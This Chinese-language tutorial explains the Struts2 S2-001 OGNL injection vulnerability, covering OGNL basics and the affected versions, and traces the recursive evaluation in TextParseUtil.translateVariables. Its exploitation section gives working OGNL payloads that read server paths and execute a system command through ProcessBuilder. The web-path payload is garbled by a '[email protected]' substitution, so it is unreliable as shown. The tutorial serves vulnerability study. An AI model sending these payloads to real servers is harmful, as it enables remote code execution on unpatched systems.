0%

从零开始学习Struts2 S2-001漏洞

正文

环境搭建

网上很多搭建流程的,就不在这里多说了

推荐可以看看https://xz.aliyun.com/t/2672这篇文章

也可以直接从https://github.com/kingkaki/Struts2-Vulenv这里面导入环境,然后再配置运行环境

前置知识

Structs框架执行流程

Struts2框架代码执行流程:这里推荐https://juejin.im/post/5aa3349ff265da23884caa6a,此篇文章较为详细的讲解了Struts2框架的代码执行过程

OGNL表达式

OGNL是什么

OGNL是Object-Graph Navigation Language的缩写,它是一种功能强大的表达式语言(Expression Language,简称为EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。

OGNL 三要素

  • 表达式

    表达式(Expression)是整个OGNL的核心内容,所有的OGNL操作都是针对表达式解析后进行的。通过表达式来告诉OGNL操作到底要干些什么。因此,表达式其实是一个带有语法含义的字符串,整个字符串将规定操作的类型和内容。OGNL表达式支持大量的表达式,如“链式访问对象”、表达式计算、甚至还支持Lambda表达式

  • Root对象

    OGNL的Root对象可以理解为OGNL的操作对象。当我们指定了一个表达式的时候,我们需要指定这个表达式针对的是哪个具体的对象。而这个具体的对象就是Root对象,这就意味着,如果有一个OGNL表达式,那么我们需要针对Root对象来进行OGNL表达式的计算并且返回结果。

  • 上下文环境

    有个Root对象和表达式,我们就可以使用OGNL进行简单的操作了,如对Root对象的赋值与取值操作。但是,实际上在OGNL的内部,所有的操作都会在一个特定的数据环境中运行。这个数据环境就是上下文环境(Context)。OGNL的上下文环境是一个Map结构,称之为OgnlContext。Root对象也会被添加到上下文环境当中去。

表达式功能操作清单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
1. 基本对象树的访问
对象树的访问就是通过使用点号将对象的引用串联起来进行。
例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx

2. 对容器变量的访问
对容器变量的访问,通过#符号加上表达式进行。
例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx

3. 使用操作符号
OGNL表达式中能使用的操作符基本跟Java里的操作符一样,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,还能使用 mod, in, not in等。

4. 容器、数组、对象
OGNL支持对数组和ArrayList等容器的顺序访问:例如:group.users[0]
同时,OGNL支持对Map的按键值查找:
例如:#session['mySessionPropKey']
不仅如此,OGNL还支持容器的构造的表达式:
例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map
你也可以通过任意类对象的构造函数进行对象新建
例如:new Java.net.URL("xxxxxx/")

5. 对静态方法或变量的访问
要引用类的静态方法和字段,他们的表达方式是一样的@[email protected]或者@[email protected](args):

6. 方法调用
直接通过类似Java的方法调用方式进行,你甚至可以传递参数:
例如:user.getName(),group.users.size(),group.containsUser(#requestUser)

7. 投影和选择
OGNL支持类似数据库中的投影(projection) 和选择(selection)。
投影就是选出集合中每个元素的相同属性组成新的集合,类似于关系数据库的字段操作。投影操作语法为 collection.{XXX},其中XXX 是这个集合中每个元素的公共属性。
例如:group.userList.{username}将获得某个group中的所有user的name的列表。
选择就是过滤满足selection 条件的集合元素,类似于关系数据库的纪录操作。选择操作的语法为:collection.{X YYY},其中X 是一个选择操作符,后面则是选择用的逻辑表达式。而选择操作符有三种:
? 选择满足条件的所有元素
^ 选择满足条件的第一个元素
$ 选择满足条件的最后一个元素
例如:group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。

在struts2中大量用到了这种OGNL表达式,这种表达式使用起来十分的方便以及强大。也正是其强大,当我们可以找到可控点可以传递这种表达式并且可以解析时,我们就可以达到攻击的效果

漏洞影响:

WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

漏洞利用

搭建成功后,正常输入可看见

这样其实就是OGNL表达式可控其解析,下面将展示几个攻击手法

获取tomcat路径:

1
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

获取Web路径

1
%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

执行命令

1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

漏洞分析

看Struts2源码开始应该从网站的xml文件看起,从xml文件中找寻拦截器,从拦截器开始进行审计。Struts2中会默认加载一些拦截器。在Struts2核心代码jar包中的Struts-default.xml可以找到

这些全是默认加载的拦截器,和其他语言代码审计一样,我们最关心的就是参数的传递。在上面的图中我们可以看到,如下的代码:

1
<interceptor name="params" class="com.opensymphony.xwork2.interceptor.ParametersInterceptor"/>

我们直接进入**com.opensymphony.xwork2.interceptor.ParametersInterceptor**拦截器类,可以看到,此类调用了几个包:

根据包名意思,我们应该着重看一下一下几个包:

1
2
3
4
import com.opensymphony.xwork2.util.LocalizedTextUtil;
import com.opensymphony.xwork2.util.OgnlContextState;
import com.opensymphony.xwork2.util.TextParseUtil;
import com.opensymphony.xwork2.util.ValueStack;

com.opensymphony.xwork2.util.TextParseUtil中31行,会发现有意思的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
Object result = expression;

while(true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;

while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}

int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}

String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}

String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}

if (TextUtils.stringSet(right)) {
result = result + right;
}

expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
}
}

根据方法名字意思是翻译变量,于是我们打下断点测试调试一下,然后可以发现当expression不同时返回的值也不同

经过两次如下代码之后,将其生成了OGNL表达式,返回了%{username}

然后这次的判断跳过了中间的return,来到后面,取出%{username}中间的值username赋给var

然后通过Object o = stack.findValue(var, asType)获得到username的值为%{1+1},接下来expression变为%{1+1},然后进行循环

这次循环,通过Object o = stack.findValue(var, asType),解析%{1+1}OGNL表达式,并将其赋值给了o

最后expression的值就变成了2,不是OGNL表达式时就会进入

1
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);

最后返回并显示在表单中